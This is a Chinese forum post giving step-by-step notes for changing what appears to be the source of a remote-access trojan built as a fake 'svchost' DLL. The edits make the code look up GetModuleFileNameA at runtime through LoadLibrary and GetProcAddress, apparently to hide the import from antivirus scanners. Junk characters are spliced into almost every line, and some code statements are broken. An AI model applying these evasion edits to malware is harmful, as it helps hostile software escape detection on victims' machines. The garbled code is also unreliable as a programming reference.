[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
1 P# Y7 @2 A2 \6 v9 Csvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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5 w. D( b  N& x3 w  y( u- D5 IDTDY.h：
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+ y4 a  \# B9 c( X0 }0 H#if _MSC_VER>1000% a( \5 {+ _3 D  C& P
#pragma once
* Q! E0 ^+ E1 y' c#endif //_MSC_VER>1000# d  |5 t5 a3 b6 ]
#include<windows.h>
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
; j! \, A" @6 D* _4 r2 Xclass DTDY
8 ~7 O3 o' S+ w# y4 s* a7 `{
) {$ y# ~1 M0 {! s& @7 @. |public:2 E9 r) v: k6 t) u. \* v
DTDY();
' d5 h" n. i$ c0 n' f, m& u! k( U# m0 Evirtual ~DTDY();
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static pGetModuleFileNameA MyGetModuleFileName;' d1 W% J, x6 ^4 _* _% w! l8 h
static BOOL FunInitiallization();
; y3 T. _& q& J};
9 y6 R# P4 a, u  |#endif
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DTDY.cpp:7 Z9 E7 c3 v7 o4 ~4 @, r

5 @8 P3 y" P2 w* \6 W#include "DTDY.h"
9 u( B3 G6 @# g) s3 e4 [pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;3 L& q: N* N$ D
DTDY:TDY()
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* b  W2 u" K5 J9 J1 qDTDY::~DTDY()
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}
9 Y3 S- _$ ]( e$ {0 L5 }BOOL DTDY::FunInitiallization(). X  ~  g7 f1 J2 O( |/ n5 B
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HMODULE hModule=LoadLibrary("kernel32.dll");
1 n# |( P% x' _4 i: AMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");. H# W: P' J9 G3 _! g
if(!MyGetModuleFileName=) return FALSE;$ K* o  H, S/ m  j- v/ g. R" L! S
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return TRUE;& ]5 N( A+ A5 l2 k( R
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' e8 _( A' {. o, q' s* Dsvchost.cpp:
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#include "DTDY.h"
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  {* E9 i; R9 [" j& g( [BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)6 a$ }  u! Z; N7 d' _
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switch(ul_reason_for_call)9 |- G) X4 x$ c- s' T5 f( C
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case DLL_PROCESS_ATTACH:& }4 U0 v/ x( t$ F& ~
if(!DTDY::FunInitiallization()) return FALSE;7 y  d+ u% Z% T& G' F. m
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break;
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}
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" O& i7 E: ?' h1 p$ J8 yGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
$ N1 b+ o7 k8 p3 {改写为
; r% S& C+ K3 S, ^! y. Y/ k0 G4 ?' E2 wDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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8 k; q6 ~, E/ |9 M* c7 p1 p: cKernelManager.cpp:
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# l3 j8 @: i( z8 n( Q9 B( B. v#include "../DTDY.h"
6 k% Z- G3 f  Q4 F# [4 N1 \GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));' L( W4 |1 y1 J# X
改写为
: L$ b& Z1 P' e% n$ \- W- L' FDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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